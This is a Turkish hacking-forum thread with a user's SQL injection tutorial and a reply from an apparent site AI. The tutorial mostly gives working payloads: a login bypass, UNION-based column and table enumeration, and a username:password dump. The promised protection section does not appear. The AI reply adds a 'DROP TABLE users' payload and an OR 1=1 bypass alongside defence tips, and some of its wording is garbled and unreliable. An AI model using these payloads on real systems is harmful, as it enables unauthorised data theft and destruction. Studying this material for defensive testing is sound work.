Hoşgeldin Misafir

SQL Injection (SQLi) Zafiyeti Nedir? Nasıl Bulunur, Exploit Edilir ve Korunulur?

LENDROY420

24 Mar 2024
99 Mesaj
TIM Görevleri
1

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Merhaba arkadaşlar, Web uygulama güvenliğinin en köklü ve hâlâ en ölümcül zafiyetlerinden biri olan SQL Injection hakkında kapsamlı bir rehber hazırladım. OWASP Top 10’da yıllardır ilk sıralarda yer alıyor ve 2026’da bile birçok sistemde aktif olarak bulunuyor. Hem yeni başlayanlar için temel bilgiler hem de pratik yapanlar için detaylı örnekler vereceğim. İyi Forumlar...

SQL Injection Nedir?

j3qw46g.png

SQL Injection, bir web uygulamasının kullanıcıdan aldığı veriyi (GET/POST parametreleri, cookie, header vs.) doğrudan veritabanı sorgusuna eklemesi ve bu veriyi yeterince filtrelememesi durumunda ortaya çıkan bir güvenlik açığıdır.Saldırgan, özel hazırlanmış payload’lar ile sorguyu manipüle eder ve şu sonuçları elde edebilir:
  • Veritabanındaki tüm verileri okumak (kullanıcılar, şifre hash’leri, kredi kartları, siparişler vs.)
  • Authentication bypass yaparak admin girişi yapmak
  • Veri ekleme, silme veya değiştirme
  • Stacked queries destekleniyorsa sunucuda sistem komutları çalıştırma (nadir ama çok tehlikeli
Klasik Örnek (Login Bypass)
Normal Kod
SQL:
SELECT * FROM users WHERE username = 'admin' AND password = 'sifre';

Saldırgan password alanına şunu yazar: ' OR '1'='1'-- -
Sorgu kodu şu şekilde olur;

SQL:
SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1'-- -';
-- - yorum satırı başlatır, kalan kısım ignore edilir → Her zaman true döner → Giriş yapılır!

SQL Injection Türleri
  • Error-based: Veritabanı hata mesajı verir (en kolay tespit edilir, “You have an error in your SQL syntax” gibi).
  • Union-based: UNION SELECT ile ekstra veri çekilir (en çok kullanılan, veri dump için ideal).
  • Blind Boolean-based: True/false mantığıyla karakter karakter veri çekilir (response farklıysa).
  • Time-based Blind: SLEEP(), BENCHMARK() gibi fonksiyonlarla gecikme yaratılır (response aynı olsa bile delay anlaşılır).
  • Out-of-band: Veri DNS veya HTTP istekleriyle dışarı çıkarılır.
  • Second-order: Girdi önce veritabanına kaydedilir, sonra başka bir sorguda patlar.
Nasıl Bulunur? (Adım Adım Manuel Test)

1-) Temel Test: Her input’a tek tırnak (') ekleyin.
* Örnek: https://site.com/product.php?id=1 → id=1'
* Hata mesajı veya anormal davranış → Potansiyel SQLi.

2-) Sütun Sayısını Bulma:
Kod:
id=1 ORDER BY 1-- -[/B][/CENTER][/B][/CENTER]
[B][CENTER][B][CENTER]id=1 ORDER BY 2-- -


* Hata veren en düşük sayı -1 = sütun sayısı.

3-) UNION ile Hangi Sütunda Veri Görünüyor?
SQL:
id=1 UNION SELECT 1,2,3,4,5,6-- -
* Sayfada rakamlar görünürse o sütunlar injectable.

4-) Veritabanı Bilgilerini Çekme
* Versiyon: UNION SELECT 1,2,version(),4,5,6-- -
* Database adı: UNION SELECT 1,2,database(),4,5,6-- -
* User: UNION SELECT 1,2,user(),4,5,6-- -

5-) TAbloları Listeleme
SQL:
UNION SELECT 1,2,table_name,4,5,6 FROM information_schema.tables WHERE table_schema=database()-- -

6-) Sütunları Bulma
SQL:
[/B]UNION SELECT 1,2,column_name,4,5,6 FROM information_schema.columns WHERE table_name='users'-- -[B]

7-) Veri İndirme (DUMP)
SQL:
UNION SELECT 1,2,concat(username,0x3a,password),4,5,6 FROM users-- -





 
Moderatör tarafında düzenlendi:

THS-AI

THS-AI

THS YAPAY ZEKA
Turkhacks Kurumsal
20 Haz 2025
11,255 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
**SQL Injection (SQLi) — Özet**

- **Zafiyet Nedir?**
Giriş alanlarından gelen veri doğrudan SQL sorgusuna eklenip, eğer temizlenmezse kötü niyetli SQL komutları çalıştırılabilir.

- **Nasıl Bulunur?**
1. **Kod taraması:** Değişkene (parameter) eklenen tüm kullanıcı girdileri @Query‑[QueryId]@ veya `exec`, `union`, `--` gibi anahtar kelimeler incelenir.
2. **Otomatik test:** Burp Suite, sqlmap vb. araçla “;” karakteri, tek tırnak (*) eklenerek yanıtlarda hata mesajı kontrol edilmesi.
3. **Hata mesajı:** MySQL “You have an error in your SQL syntax” vs. PostgreSQL “pg_exec()”: SQL error... gibi çıktılar bulunsun.

- **Exploit Nasıl Edilir?**
- Giriş alanına `'; DROP TABLE users; --` eklenirse;
- `senddata.php?id=1 OR 1=1` ile kimlik doğrulama bypass’ı yapılabilir;
- *sqlmap* ile otomatik veri çekme, modül kurma.
**Not:** Gerçek sistemlerde etik hacking şarttır; izinsiz test yasadışıdır.

- **Koruma Yöntemleri**
1. **Hazır sorgular (Prepared Statements)** – PDO, MySQLi, Sequelizer vb. kullanın.
2. **Parametreli sorgular** – Her giriş `?` veya :param yerine doğrudan string eklenmesin.
3. **Whitelisting** – Kimlik doğrulama, rol atama, izin kontrolü zorunlu.
4. **Minimum yetkiler** – Veritabanı kullanıcılarına sadece gerekiyorsa SELECT, INSERT vb. izin verin.
5. **Hata gizleme** – Uygulama düzeyinde şifreli hata mesajı, sunucu loglarında detay saklanmalı.
6. **WAF** – Web Application Firewall ile şüpheli SQL kalıpları engellenebilir.
7. **Kod gözden geçirme** – Düzenli güvenlik kod incelemesi.

**Sonuç:**
SQLi, veriyi sağlama hatasından kaynaklanır; kodunuzu parametreli sorgularla ve tek bir yetki seviyesini uygulayarak koruyabilirsiniz. Bugün kritik bir güvenlik açığı, yarın ise yasanın çevresinde bir sorun ol!